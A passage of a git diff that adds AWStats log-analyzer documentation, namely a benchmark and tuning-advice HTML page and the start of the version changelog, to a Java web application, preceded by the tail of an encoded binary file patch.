zhNc+l&)m=qBmIGf|1kVvXn`?SU~XuMk%r8{2YjHGFXl#=<+Hhw5k{S2Ze)zn?li~J z1~E4>#VE7Qjm$9m#GoNd41XA5mSN^bm}Qu`u>nS(*xc9<qZ~KKGUsn@j5!BxZft@v zre$u7x%SB1*bHO-&D;dDA8&4g*^f6j!R*JIn;2uP5iti1>Z7Mq6H|;i8*>vgjJn(0 z1ar*X+{6N-o;EkJ#F$qzH?hP_yQT)1>E6^3V;;xc6tn+kZfcA%erj%NjL|<bH^p3E zVs2`R(Oxq*#q67!n_{j(GsjZLo10o-l*Q(zmKg0nb5Ms6J?za4Fy`OP%?vT~su^Z~ z#@q}`xR_y%L7AHwW3*$<%}g-rJaaQsEb7cK+V|#W=9p!onFVH<XoflNZElV^?rm<4 zIqq!^DxA>63RIY2ieaWJbIh?rb92nOHgj`RjB#&sb2E%KjX6jmhP{~mb8~Y`j5eIP z1(y2A!Voi`TVRe~nOk7C(akNe)JGPWbD!oGSkkVAIYvLq+yZm%)7%1c?$g{7bNtF2 z%UFv!ma!IdOU(5&=9VTH^V8;*m}^taEln}j8G(WseQkibCFUHdxh3Yfqq(I8X1QjG zIqqm-V1SVqEDSK$eOVY7Va$VB7#L%eVHO4^81uCj2BsKu2^I!s7=1Mh19L3qSzx47 z3j@scz!rv>Z9NM^LyWO63qwPUxgrZgBaATs3qxa!F+2+_V<;AeCYXK$AB>6GKCmz} z!^ndchUS=lGc?D@=N5*R7;PU5Bh0lQ7DkwBKP-$e*V|ec8DZpK3nOEUaca<#WAyZA zVPuNYudu)}?_z;v-o?Vm0y9jFEHUag3u6O}c9Vs%Ax8V&!Wgs;9W9)VjWF#n#vIqP zFve^HTNs;QhKn)gSf7QlDaQPzg)!#blZ7$n+>?bd=DeweF=qW?VS-tISeRhe9~LH< z^QNF-YV>&x3(#T+w6fj81dBgROfklrEKJNW`otC{<{0%ksK`cdi&~gqwy7<!jDuL1 zVoA@YSkkj8=2|8TQ_QtY7N(eO0Si+Tj55~3)D&Y})B;Pp$->kOqaR>lirF`{FtxxK zr?D`_T$5^HW`NNT08PE4uj#PB()O`1Gs39fEX<5C#@8%BgIefuZf1(nR<<z1oLjUo z!yM<bFf+&W8<sW_Xt^FnIxxeWU$rpDoX4>+#~dHBFgL`QqqhKckkI{Rj@d`Fz%tfi zVQzv^H(G!i%NXWiuGO_L$C9Vb%`wKGEzB)2#-A-f6*{^d76zDp164>E>WnbPaxE;3 zFvf>0Km`njUd*-07NCTWq0S65el5%~=G81L%rWLBEG#hBo?BQNV2lr0SQ=o=rCL}T zVziMgu(Yo%EHV2+7M8{s>lrL8vBa;XDP}!mi8(G{VQGfZ=C`mk$LKd&SXyA#=a!gr zcNUhI>v$}&w7D#?tR=BDFv6Hiurx5n7#p@UFve(uSQ=oC>04r1%L$4O^fJfN0JCpk zX<&}gMzS=(>>pVgSYU*er2*y`x22&0Mm=q5Xo#^+!O{?OeUqi35ysf7rJ*rKyUx-O zb1l22p(#e6-O><qU9P1e=KQp!A?Ez0rJ)5DdokCFTN+~aH7t!V$B;qWqtMs6Sz?*r zvNXbMk6RiUV~h`hhA}bX*T@8;Y_c>m#c2Oo8ku2?!CM-cW31n`#Il~o63bdsOCw8+ z^>voUm}?9zjWOFfmc~XH<Ik4HMwsc|7_&UEG&aHXhp{O}-_+9B3}bDNr7`Bby``}Q z#(1KoG3K16r7`B5rlpAi#<-rPi6KVWWNCuAcEQpFvwpM0vKPhD!~~;kvNSQpD2pvk zOflvmEV0a6S(;d2hO-IgJ}OI71C08^(iC%DhNY<?ru#sP%h2j0OH(6^wVak%*2jXD z|DmrNwlu|T%Uhb7V$`*kre+vp$d;yN81=cOsX0d55wtu4eJ;V$6mz`T($o^OyaFw9 zK=rSofdR(cj-i18#vBz$3_U&!4Gb*M`$r%#^f4_%0|QI+ITnx@dYNr#0I~($eTEog zcp!D?Z4g5P%(eR<G4wG@LjyyM{UjhU^meSFfgwiw9wdf7u4iaqh_Ut@B!=F10g0iH zJs27oV$2zW#L&x0LjyyM{dpiU^!B8ofg#4)Jdhar*g8lIeXWL}fuRNZ{4_`mz0GfE zV2IJ)0EwZOv7nI=^feeDG4#GJs76L#lMfO@AEN+?p|2k@G%zwkFV{d~=wqdZpk+5` zeN&JadiiW<U}S<`PlLqJ`z|0c^zjly10z%Pd0mhgW}Y!J!^|^A7~{Z(21e#s!p|H_ z_*q~HKaBA!LjxlVEa8W-{@&2Q$P&G6YiMAMQO1JA(Caco17nQ+1|Tu?`DsG~V~jPp zATjjv86<{2p9k7Gj6S~r5<_o48yXm!pto5;V(9G+Ljz-s_2?im^s*BqhM8xK%`o$f zF~-_PLjz-sb!i|m%sgX^v2MxGz!+n{fuVsh#$I@k7-pU^##k$9Xn@%k0EuD7xe3PH zqM?Ba#@M={fr%0N`e%?BW}IWTBMc2pF!t<$#4zLB!~`?WO)$plK}U39#<>Yb8`IFh z1mo-kkQip1o0wt7xrsS?d)E*&jg3*hm|*PvH#9J@Kp)36G%&G5pZ^7kp^t|d8h|zf zpx2G282xyVI`nxzPz{RSrvr&$mXoGN=xstn15=DOF@^@F#_0WXkQjP9*3iHdV?8TK z46~dxHNmWBOfl9*85)>ki~}1Qn3`dRpQ#y^@H0nma~T?#nxnVPKw?<J&jL&MVa&-H z8kk~?D}%%^>lrfx%zDPm0JEMk!&v`fXkccDzU~zyhCVi8XkdmhMhg<dY@3;Zj>$$D z&jy|EhS@eV!`RDXXkdnM76?cTvu$Q(ioOoY&;WB?xS@d=#vWsk7-rkd%p83kkD&qP zUM)idGYj;!Zy+(uwwaj)X4}ln5`FB!(7?<Rvu$P$x_AXG{LBq7+h*p5=>0cC19OaZ z4<IqjwgqUh272B%$LNQG&cDNKTbN_)@ia6r$JlcV62oj;n44m@EzC_Z>lt%X%(jKO z8D`te9AnR@p@BKZ_%28cGtZb~>@hJkFt@-gbIdK#$JPxE%q`K!`aojn{ZK;#3ygK3 zATjhgNYLqi=;QJrG0Z$;VT3*xXlP(zgg%D>62r_h7RH!)#sXsvhM|Fl3HsV|kQip3 z!Cd=hXkY=lOb;#Xf+h*j)0zdwT#TWC1;$*ep@9X)cpXR#GtXFHtm!Z`u)vr*HZ-uX z#LP1mmYDq+(10hpn=K76>lsS}%=Wk?#vC7L#XDx(%o1bmuc3jZ5oSGOiLsZ=(7@6d zv!1cU*e7ggfVs~QB!*c}V~#5u8h{26Fv0+1UnOYe8)lxd#29xpG_W+s%rll4dvpv9 zEG^K-=0IYYdB)NbeeBiHz!GEMtf8R+#`zW?G4wTKh9D24jaeFkju1lI`(S8jWQe{e z*bp@JjyA_^XlROYj+ddKDaJZRLqju+bts00papwqVGlY62)#{cXlaNs9${pNF|P)4 zGDbaZWNd=IKh)63*bIF>&(O%!0>i&XW(F92D<gArjCPKZg#ktz$;cAp>@h=Q1B^8e zhQ@{%XN4IW8=9ccS%Xe$LSKJnXl#VBHpS4`*a%avu?hORFGFJ!GmLOC25nkKiw|Qn zjCE;-#%35}ZidF7#U$u@EsQYgL1Rmd^^S(1voX-)+{DlXqbxBo#Edr+BaF4Hh9<@a z7;y>e3ZbWa6BAR6dd9>QV-1y|iJ1ZVTnET?80Dmixfw<sYGQ#g-)LxJVTmywhGj3Z zp{aohhP|eSCKzoM(4Js)zk&A6qUUMQ9$5@^CPo-(!_>qWef-qW)YKfKJ~B1MSleT0 zYL2lV!qC(lWBsI|sRhOw8$(kIbBy}j)Y1fF?7<ZC963WXPzN0?{eij$=wV=HXoAsS zFf+th4`K+~(ttKjZD?kMv2ViA%-8}W9hjM5rWZ3)%sg!d+Hi{QW;0`qGz8isfi_2P zXa-s&g02^HO}?Qy=9zYepta&?XBZfo8)57bGc-5Cm^U>vH!;VkSItc@+ll6;82ft+ z%}p`R^Ds0wGs9>Do10l+luhOq<``{9a|?{MR)!V^Cg}4Jh8Cbs9a>mf7-Fm?0j(&< zD6cGx%`ox@XxbjV9<%^$>O!}}3}bz#p#^Ax1iCs4%s#QDA;!5ghL(mV=xePEL35Dk zX&f}Sh+dvrniyb=Jy?Pc%RzGsXzm0(-CLSs_USCmG0s9Vv^2*Ur!g`xz-S*B85m%k zr)6Ydgt2eJ$iNt5Z={g{X5Ze(zzm~JXaqXq2rZ2p8JJ^?mlzpXVx&_e14|S1@g^ff zPzwPytc(l|G1h7r85(1ZzZe-BW1Q7#WN2oFUI!Q%nqiDT8yQ++tb;N#w8YrkXJlk( zfL>-B85tU(=OZJ~R5V&y0^0e2-X1bC0v)b|=3gTdj5V`HMrIi6MvRQiFwScMS&Kd{ z0NVA5zE;u*RCS}JXCq?+GxR>9k+HD}`q+(;v9TF?-xSo;LvNcI8Jl7B&y9>NG0wIz zGPX2FAKNrCF~Zn~Yh+?%jy_*&WMXE35%wl#80&(JOf1aM$9#=UEHKVFF)}s8IOE6& z%XuC~rl7-Z(Bchr76V$nZ)9q2fj)K!I;{%5|6yciV2M6QU}R>9afXHwC<~&eE6`q0 zv~tME%*-5ptQ53z0ll4LWCmIgg60o1OJnr)NJeIs7<+S#%nc0D_dXbz8)B^KFajO* zhaN8G#-`|PN6;=|^mW%p=B7p%WrVq@3Hlhfk+~Vhx_={c(1uAgznNQL^k<CBElkkI zEJ0lj^uE23g#l)KSQuiQ=WAqPh_RmE$imPPBhOfXN*y%!Sr}ucKMP}w^D;m!B#d&+ z!W3id-^jwk5Pi<U$O7{$BqIw;jJY-=O9PCvPmC;$jL_%(j4X{X_6{3a8e{AYGO`36 zribQVOU!nTk);X7`XM7r6U=(c($o;W4QFI&ig8}4k)^3I`dpw9s2D=8w=6*idZ4?{ z6l0&d5oqlK+WH|QOEZjpJK$rOG1Xy=kr`Q<VVv7zWNC)6H`2(`4C72=BTF+&^syVz z2|eiRf{ZN9G0r76vNXpy^TNmyl;IFzP*RkbnUh+?1v+LuvnmyQ%DH|}em>}SB+yuu zLXf^^URu5a_%;fCPnT#Lvy?QG6w4$7Gm~TkL(9}uOQS@SWJ}Q0Tym1Rp{21MVHL4< bc3j0JiA5#gqt%TpEeuS}xl~nM{oS|#hS6PB literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/awstats_benchmark.html b/src/main/webapp/monitoramento/docs/awstats_benchmark.html new file mode 100644 index 0000000..b289003 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_benchmark.html @@ -0,0 +1,178 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html> +<head> +<meta name="description" content="AWStats Documentation - Benchmark page"> +<meta name="keywords" content="awstats, awstat, benchmark, speed, dns, lookup, time"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - Benchmark page"> +<title>AWStats Documentation - Benchmark page</title> +<link rel="stylesheet" href="styles.css" type="text/css"> +<!-- $Revision: 1.61 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --> +</head> + +<body topmargin=10 leftmargin=5> + + +<table style="font: 10pt arial,helvetica,verdana" cellpadding=0 cellspacing=0 border=0 bgcolor=#FFFFFF width=100%> + +<!-- Large --> +<tr style="font: 10pt arial,helvetica,verdana"> +<td bgcolor=#9999cc align=center><a href="/"><img src="images/awstats_logo4.png" border=0></a></td> +<td bgcolor=#9999cc align=center> +<br> +<font style="font: 16pt arial,helvetica,sans-serif" color=#EEEEFF><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> +<td bgcolor=#9999cc align=center> + +</td> +</tr> + +</table> + + +<br><br><H1 style="font: 26px arial,helvetica,sans-serif">Benchmarks</H1> + +<br> +AWStats update process must be ran frequently, so it's important to know what is AWStats +speed to choose an optimum delay between each update process according to AWStats speed and +the refresh rate you need to have.<br> +AWStats speed depends on AWStats version and options/setup you use in configuration file.<br> + +<br> +<br> +<b><u>This is benchmark results with AWStats version 6.0 and a common configuration:</u></b><br> +<br> +HARDWARE: Athlon 1 GHz / 256MB<br> +SOFTWARE: Windows 2000 / Perl 5.8 (Cygwin Perl)<br> +CONFIG OPTIONS: Default values were used: <a href="awstats_config.html#LogFormat">LogFormat</a>=1, <a href="awstats_config.html#DNSLookup">DNSLookup</a>=0, <a href="awstats_config.html#URLWithQuery">URLWithQuery</a>=0, <a href="awstats_config.html#URLReferrerWithQuery">URLReferrerWithQuery</a>=0, <a href="awstats_config.html#URLWithAnchor">URLWithAnchor</a>=0, No plugins<br> +AVERAGE SPEED: <b>5200</b> lines by seconds<br> +Other times for different kind of web sites sizes are shown later in this page...<br> + +<br> +<br> +<b><u>This is other important information to know:</u></b><br> +<br> +- A log file size is about <b>150</b> (NCSA common/CLF log files) to <b>320 times</b> (NCSA extended/XLF/ELF log files) its number of lines,<br> +- <b>1,000 visits</b> = <b>8,000 pages</b> (with 8 pages/visits) = <b>64,000 lines</b> (with 8 hits/page) = <b>20 MB file</b> => <b>15 seconds</b> (Athlon 1GHz, Standard Perl 5.8)<br> +- History files (AWStats database, resuming the log analysis) has the following size (one file a month) : +<b>15000+90*x+100*y bytes</b> (where x is number of unique visitors a month and y is number of different pages on web sites). +If you use option <a href="awstats_config.html#BuildHistoryFormat">BuildHistoryFormat</a>=xml, you must +multiplie this value by 3.<br> +<br> +WARNING ! All those data are average values for a common public site with default configuration. +Calculation rule can be seriously changed according to web server or AWStats configuration and web site content.<br> + +<br> +Don't forget that benchmarks of log analyzers are made without reverse DNS lookup because DNS +lookup is so slow (depending on Internet network and your system), that if enabled in AWStats +configuration file, it would take more than <b>99%</b> of the time of a log analysis ! +Take a look at the following chart to:<br> +- Get more real ideas on benchmarks results<br> +- Get more information and advice on a good setup for your site.<br> + +<br> +<br> +<b><u>This is examples of frequency/parameters you should use to have a good use of AWStats:</u></b><br> +<br> +<table border=1 cellspacing=0 cellpadding=2 style="font: 12px; arial,verdana"> +<tr bgcolor=#EEEEEE><td rowspan=2>Your Web site traffic</td><td rowspan=2>Perl distrib</td><td colspan=3>Values for parameters</td><td rowspan=2>Recommended update frequency<br>(Rotate log delay)</td><td rowspan=2>Memory required**</td><td rowspan=2>Update process duration***</td></tr> +<tr bgcolor=#EEEEEE><td>DNSLookup*</td><td>URLWithQuery</td><td>URLReferrerWithQuery</td></tr> +<tr><td rowspan=2> 0 - 1,000 visits/month</td><td rowspan=2>Your choice</td><td>0 (or 2)</td><td>0 or 1</td><td>0 or 1</td><td>Once a day<br>Log files are 0-1 MB<br>2000 lines to process</td><td>4 MB free</td><td>1s</td></tr> +<tr> <td>1</td><td>0 or 1</td><td>0 or 1</td><td>Once a day<br>Log files are 0-1 MB<br>2000 lines to process</td><td>4 MB free</td><td>2mn</td></tr> +<tr><td rowspan=2> 1,000 - 10,000 visits/month</td><td rowspan=2>Your choice</td><td>0 (or 2)</td><td>0 or 1</td><td>0 or 1</td><td>Once a day<br>Log files are 1-10 MB<br>2000-20000 lines</td><td>4-8 MB free</td><td>1s-10s</td></tr> +<tr> <td>1</td><td>0 or 1</td><td>0 or 1</td><td>Once a day<br>Log files are 1-10 MB<br>2000-20000 lines</td><td>4-8 MB free</td><td>2mn-10mn</td></tr> +<tr><td rowspan=2>10,000 - 100,000 visits/month</td><td rowspan=2>Your choice</td><td>0 (or 2)</td><td>0 or 1</td><td>0 or 1</td><td>One a day<br>Log Files are 10-100 MB<br>20000-200000 lines</td><td>8-32 MB free</td><td>10s-120s</td></tr> +<tr> <td>1</td><td>0 or 1</td><td>0 or 1</td><td>Once a day<br>Log files are 10-100 MB<br>20000-200000 lines</td><td>8-32 MB free</td><td>10mn-50mn</td></tr> +<tr><td rowspan=2>100,000 - 500,000 visits/month</td><td rowspan=2>Your choice</td><td>0 (or 2)</td><td>0</td><td>0 or 1</td><td>Every 6 hours<br>Log Files are 24-96 MB<br>50000-300000 lines</td><td>16-92 MB free</td><td>30s-3mn</td></tr> +<tr> <td>1</td><td>0</td><td>0 or 1</td><td>Every 6 hours<br>Log Files are 24-96 MB<br>50000-300000 lines</td><td>16-92 MB free</td><td>15mn-60mn</td></tr> +<tr><td> 500,000 - 2,000,000 visits/month</td><td>See next section on pb with ActiveState</td><td>0 (or 2)</td><td>0</td><td>0</td><td>Every 6 hours<br>Log Files are 96-384 MB<br>300000-1200000 lines</td><td>64-256 MB free</td><td>3mn-12mn</td></tr> +<tr><td> 2,000,000 - 4,000,000 visits/month</td><td>See next section on pb with ActiveState</td><td>0 (or 2)</td><td>0</td><td>0</td><td>Every 6 hours<br>Log Files are 384-768 MB<br>1200000-2400000 lines</td><td>256-512 MB free</td><td>12mn-24mn</td></tr> +<tr><td> +4,000,000 visits/month</td><td>See next section on pb with ActiveState</td><td colspan=6>AWStats is a good choice for such web sites only if you use a dedicated server with a large amount of memory. Try a tool with less features but faster like "row counter log analyzers" like <a href="http://www.analog.cx">Analog</a> if not.</td></tr> +</table> +* You should set <a href="awstats_config.html#DNSLookup">DNSLookup</a> parameter to 0 (or 2) if<br> + - reverse DNS lookup is already done in your log file,<br> + - or if your web site has more than 250,000 visits a month.<br> +Note: Country report can works without reverse DNS lookup if plugin 'geoip' is enabled (faster and more accurate than reverse DNS lookup).<br> +** This is free memory required for update process (in MB), this is not hardware memory installed !<br> +Warning: If you use the <a href="awstats_config.html#URLWithQuery">URLWithQuery</a> or <a href="awstats_config.html#URLReferrerWithQuery">URLReferrerWithQuery</a> option, or forget +to complete correctly <a href="awstats_config.html#URLQuerySeparators">URLQuerySeparators</a> for some sites, this value can be dramatically increased.<br> +*** Duration with DNSLookup set to 1 is very long because of DNS lookup whatever is speed of your computer. +Duration with DNSLookup set to 0 (or 2) is with Athlon 1GHz/256MB, Cygwin Perl 5.8 and LogFormat=1.<br> + +<!-- +Configuration used for tests: + +# cat /proc/cpuinfo +processor : 0 +vendor_id : GenuineIntel +cpu family : 15 +model : 4 +model name : Intel(R) Celeron(R) CPU 2.66GHz +stepping : 1 +cpu MHz : 2672.884 +cache size : 256 KB +fdiv_bug : no +hlt_bug : no +f00f_bug : no +coma_bug : no +fpu : yes +fpu_exception : yes +cpuid level : 5 +wp : yes +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe pni monitor ds_cpl cid +bogomips : 5334.63 + +# free +m�moire : 524Mo +Mem: 505680k total, 492548k used, 13132k free, 18244k buffers +Swap: 522104k total, 12752k used, 509352k free, 188820k cached +--> +<br> +<br> +<a name="ADVICES"></a><b><u>SOME IMPORTANT ADVICES FOR A GOOD USE OF AWSTATS:</u></b><br> +<br> +<img src="images/star.png"><img src="images/star.png"><img src="images/star.png"><img src="images/star.png"> +- Check that <a href="awstats_config.html#DNSLookup">DNSLookup</a> is disabled in AWStats (DNSLookup should not +be set to 1). If you need a 'Country' report, you should prefer <b>using the 'geoip' plugin +using <a href="http://www.maxmind.com/en/city?rId=awstats">Maxmind database</a> instead of a DNS lookup</b>. Those plugins allow you to have more accurate results, faster with no network queries (With +DNSLookup enabled, log analyze speed is decreased by 40 to 100 times, so use it only if required). +Note that without DNS lookup and without the 'geoip' plugins, 'Country' report might work but results will be +less accurate than the 'geoip' usage and it works only if hosts addresses in your log file are already resolved +(need to setup your web server to do so, your web server will be slowed).<br> +<img src="images/star.png"><img src="images/star.png"><img src="images/star.png"><img src="images/star.png"> +- Use carefully parameters <a href="awstats_config.html#URLWithQuery">URLWithQuery</a>, <a href="awstats_config.html#URLReferrerWithQuery">URLReferrerWithQuery</a> and <a href="awstats_config.html#URLWithAnchor">URLWithAnchor</a> +(Let them set to 0 if you don't know what they means) and check your web site URLs' syntax to know if you don't need to complete the parameter <a href="awstats_config.html#URLQuerySeparators">URLQuerySeparators</a>. +If you really need to use <a href="awstats_config.html#URLWithQuery">URLWithQuery</a>=1, check that +<a href="awstats_config.html#URLWithQueryWithOnlyFollowingParameters">URLWithQueryWithOnlyFollowingParameters</a> or +<a href="awstats_config.html#URLWithQueryWithoutFollowingParameters">URLWithQueryWithoutFollowingParameters</a> +are set properly.<br> +<img src="images/star.png"><img src="images/star.png"><img src="images/star.png"><img src="images/star.png"> +- Use <b>last Perl version</b> (For example Perl 5.8 is 5% faster than 5.6) and, more important, <b>for large log files, +use standard Perl distribution instead of ActiveState</b>. This is because ActiveState 5.006 (and may be also +other versions), has very important memory hole problem making speed of analysis slower and slower +reaching 0 lines/seconds and using all your memory. You can see the decrease by adding the -showsteps option +on command line. The speed should be constant to value given in top of this page, even for +several Gigabytes log files !<br> +<img src="images/star.png"><img src="images/star.png"><img src="images/star.png"> +- <b>Rotate your log</b> (See <a href="awstats_faq.html#ROTATE">FAQ-SET500</a>) and launch AWStats more often (from crontab or a scheduler, See <a href="awstats_faq.html#CRONTAB">FAQ-SET550</a>). +The more often you launch AWStats, the less AWStats has new lines in log to process. +This can also solve the ActiveState memory problem (see next advice).<br> +<img src="images/star.png"><img src="images/star.png"> +- Be sure that your <a href="awstats_config.html#HostAliases">HostAliases</a> parameter list is complete.<br> +<img src="images/star.png"><img src="images/star.png"> +- Use <b>last AWStats version</b> (For example AWStats 6.0 is 15% faster than 5.9).<br> +<img src="images/star.png"><img src="images/star.png"> +- For geeks users, you can also recompile your Perl with differents options. +For example, it seems that the "use64bitint=define usemymalloc=y" can increase speed by 10%. +<br> + +<hr> + +<script language=javascript> + var date='$Date: 2013/07/09 19:57:08 $'; + document.writeln("Last revision: "+date); +</script> + +</body> +</html> diff --git a/src/main/webapp/monitoramento/docs/awstats_changelog.txt b/src/main/webapp/monitoramento/docs/awstats_changelog.txt new file mode 100644 index 0000000..47a6136 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_changelog.txt @@ -0,0 +1,1279 @@ +AWStats Changelog +----------------- +$Revision: 1.298 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ + + +***** 7.2 ***** + +New features: +- Upgrade licence to GPL v3+. +- Update documentation. + +Fixes: +- Since updating Webmin to 1.53, the Add New Config File screen layout is + totally messed up and unusable. +- Update broken links to maxmind. + + +***** 7.1.1 ***** + +New features: +- Add windows 8 detection +- Add support of %time5 for iso date times. +- Fix problems with Perl 5.14 + + +***** 7.1 ***** + +New features/improvements: +- Update translations. +- Update browsers list. +- Add example of nginx setup. +- Add some patches from debian package. +- Rename domain name into documentation to awstats.org +- Can allow urls with awredir without using md5 key parameter. +- Usage of databasebreak option possible with awstats_buildstaticpages. +- Add rel=nofollow on links. +- Add option AddLinkToExternalCGIWrapper to add link to a wrapper script + into each title of Dolibarr reports. This can be used to add a wrapper + to download data into a CSV file for example. + +Fixes: +- Security fix into awredir.pl +- Fix: Case of uk in googlechart api. +- Fix: Compatibility with recent perl version. + + +***** 7.0 ***** + +New features/improvements: +- Detect Windows 7. +- Can format numbers according to language. +- More mime types. +- Added geoip_asn_maxmind plugin. +- Geoip Maxmind city plugin have now override file capabilities to complete + missing entries in geoip maxmind database. +- Added graphgooglechartapi to use online Google chart api to build graph. +- Can show map of country to report countries when using graphgooglechartapi. +- Part of codes was change to use more functions and have a cleaner code. +- Added parameter to ignore missing log files when merging for a site on + multiple servers where a single server may not have created a log for a given day. +- Update robots database. +- Added Download tracking where certain mime types are defined as downloads + and HTTP status 206 is tracked as download continuation +- Can use wrapper with parameters in WrapperScript parameter. +- Change to allow usage of AWStats inside a plugin + for Opensource Dolibarr ERP & CRM software (http://www.dolibarr.org). + +Thanks to Chris Larsen (author of most thoses changes). + +Fixes: +- Webmin module works with new version of webmin. +- Security fix (Traverse directory of LoadPlugin) +- Security fix (Limit config to defined directory to avoid access to external + config file via a nfs or webdav link). + + +***** 6.95 ***** + +New features/improvements: +- Fix security in awredir.pl script by adding a security key required by + default. +- Enhance security of parameter sanitizing function. +- Add name of config file used to build data files inside data files header. +- Added details of version for Chrome, Opera, Safari and Konqueror browsers. +- Add AdobeAir detection. +- Major update of browsers, robots and search_engines databases (among them, + the Bing search engine). +- Increase seriously bot detection. +- Add Brezhoneg language. +- Add a better way to detect Safari versions. +- Added subpages for geoip maxmind modules in awstats_buildstaticpages. + +Fixes: +- Fix typo in polish language file +- awstats emmits ton of warnings with new geoipfree - ID: 2794728 +- Fix: can detect robots with robots.txt url even if file is not root. +- Other minor fixes. + + +***** 6.9 ***** + +New features/improvements: +- With postfix that support DSN (Delivery Status Notifications) we exclude + some lines to avoid counting mails twice in maillogconvert.pl script. +- Logresolvemerge.pl support FreeRADIUS logs or anything else using (the + fixed length!) ctime format timestamp. +- Add option stoponfirsteof in logresolvemerge tool. +- Add patch to support host_proxy tag in LogFormat (for Apache LogFormat + containing %{X-Forwarded-For}i) +- Renamed Add to favourites on "Hit on favicon". +- Increase robots, search engines database (Added Google Chrome browser, + better Vista, WII, detection, ...) +- Update languages files. +- Added a lot of patch from sourceforge. + +Fixes: +- Fixed broken maxmind citi, org and isp plugins. +- Remove in name html tag to have HtmlHeadSection first. +- Fix: [ 2001151 ] Security fix. +- Fix: [ 2038681 ] missing <br _/_> in plugins/geoip_org_maxmind.pm +- Fix: [ 1921942 ] html footer is missing from the allextraN report. +- Fix: [ 1943466 ] error geoip_city_maxmind Can't locate object method "record_ +- Fix: [ 1808277 ] Incorrect function call in geoip_isp_maxmind.pm +- Fix: Full list of extrasections was not ordered correctly +- A lot of other fixes. +- Added missing icons + +Other/Documentation: +- None + + +***** 6.8 ***** + +New features/improvements: +- Added OnlyUsers option. +- Can track RPC request. +- HTMLHeadSection can accept \n in string. +- Add option MetaRobot. +- Increase seriously bot detection. +- Better detection of windows OS. +- Add condition HOSTINLOG in extra sections. +- Can show a full list for extrasection. + +Fixes: +- Fixed pb in xml output for history files. +- Fixed a bug in awstats_configure.pl script. + +Other/Documentation: +- Updated some language files. +- Updated documentation. +- Updated browsers database and added following patches: + 775988 The lastest: minor Chinese search engine patch + 1735647 Chinese search engines for awstats 6.6 + 1735646 robots patch: feedsky, contentmatch crawler, twiceler, yodao + 1735639 Browser patch for Lilina/potu reader + 1735637 Chinese translation file for awstats 6.6 + 1533028 WordToCleanSearchUrl for baidu.com + 1384243 minor Chinese spider and search engine patch + 1569151 TOP 8 Chinese local search engines + 745359 Chinese(Simp) update: 6.5 awstats-cn.txt + 1569201 top Chinese browser and robot update: TT is not a robot + 1569229 Simplified Chinese language file update + 1569208 Browser update on potu rss reader and lilina rss reader +- Added a more complete xslt example. +- Remove some deprecated code. +- Update status of GeoIP City plugin database. A free version is + now available like GeoIP Country database. + + +***** 6.7 ***** + +New features/improvements: +- Full support for -day option. To build different report for each day +- Added virtualenamequot tag +- Added option NotPageList +- Addes .jobs and .mobi domains + +Fixes: +- Minor bug in awstats_configure.pl + +Other/Documentation: +- Updated some language files. +- Updated browsers database. + + +***** 6.6 ***** + +New features/improvements: +- All geoip plugins support the PurePerl version. +- Possible use of vhost in extra section. +- Support IPv6 in AllowAccessFromWebToFollowingIPAddresses parameter. +- Added svn family to browsers detection. +- Support for IE7. + +Fixes: +- Remove some Perl warnings. +- Remove lc() on translation strings. +- Not sanitized migrate parameter. +- Not sanitized urlxxx parameters that could be used for XSS attacks. + +Other/Documentation: +- Added AWStats version in stdout outputs. +- Updated some language files. +- Updated browsers database. + + + +***** 6.5 ***** + +Note: +If you used the geoip plugin, you must edit your AWStats config file +to change the line + LoadPlugin="geoip GEOIP_STANDARD" +into + LoadPlugin="geoip GEOIP_STANDARD /pathto/GeoIP.dat" + +New features/improvements: +- Tuning: logresolvemerge.pl is 30 times faster when merging a lot of log + files (1000) at same time (Thanks to Dan Armstrong). +- Added detection of linux and bsd distributions (redhat, mandriva, ...) + Thanks for idea to Sean Carlos. +- Added option SkipReferrersBlackList to exlude records from SPAM referrers. +- New: RSS catcher/readers in robot database +- New: Add option databasebreak to force awstats to use a different database + history file for eache day or hour instead of month. +- New: geoip_cities plugin report the region when available. +- New: LevelForBrowsersDetection can accept value 'allphones' to use file + browsers_phone.pm instead of browsers.pm file for AWStats database. This + file is specialized in phone/pda browsers. +- Qual: geoip plugin now uses open instead of new to allow use of different + path for datafiles instead of default. This allow use of personalised path + for database file. +- New: LogFormat=2 can now change its value dynamically if logformat change. +- New: Add way to set ArchiveLogRecords with same tags than LogFile to add + suffix to archive log files. +- New: Add option SectionsToBeSaved (to ask AWStats to save only particular + sections). +- Added detection of epiphany and a lot of other new search engines and + robots (Thanks to http://www.antezeta.com/awstats-contact.html) +- awredir support any protocols (ftp, https...) not only http. +- Support in/out method in ftp detection. +- Update xsd files and fix xml support to have now a full support of xslt + transformations and xml validations. +- Added javabestart to browsers. + +Fixes: +- Fixed: No more increase of Google search engine count when click came + from Gmail. +- Fixed: [ 1193698 ] Flash detection wrong ? +- Fixed: [ 1225425 ] Shiira gets recognized as Safari +- Fixed: [ 1232317 ] Missing javaws png file +- Fixed: [ 1236547 ] Acrobat 7 PDF detection +- Fixed: [ 1239677 ] Incorrect XML output +- Fixed: [ 1280667 ] Custom StyleSheet not used +- Fixed: [ 1301317 ] Patch for hashfiles plugin to work +- Fixed: [ 1305959 ] awstats-6.5 : awstats.pl parsing conf +- Fixed: [ 1306075 ] GNUTLS from Lynx mistaken for GNU Hurd +- Fixed: [ 1315969 ] German: message153 +- Fixed: referer changes to referrer +- Fixed: [ 1111530 ] Missing description for %host_r in config file +- Fixed: [ 1124711 ] env __AWSTATS_CURRENT_CONFIG__ not expanded for include +- Fixed: [ 1172485 ] Invalid header characters for DOCTYPE +- Fixed: [ 1172494 ] Invalid XHTML in awstats.pl +- Fixed: [ 1173816 ] Config file mis-feature +- Fixed: [ 1218832 ] XML Strict error (with GeoIP plugin) +- Fixed: keyword detection for "advanced" search on google +- Added style="display:none;" to image link for misc tracker. +- Changed stored permission in tar.gz file +- Fixed: Better support for gz and bz2 files +- Fixed: Added xhtml in mime types. +- Fixed: [ 1163590 ] XML parsing error +- Fixed: [ 1174728 ] version 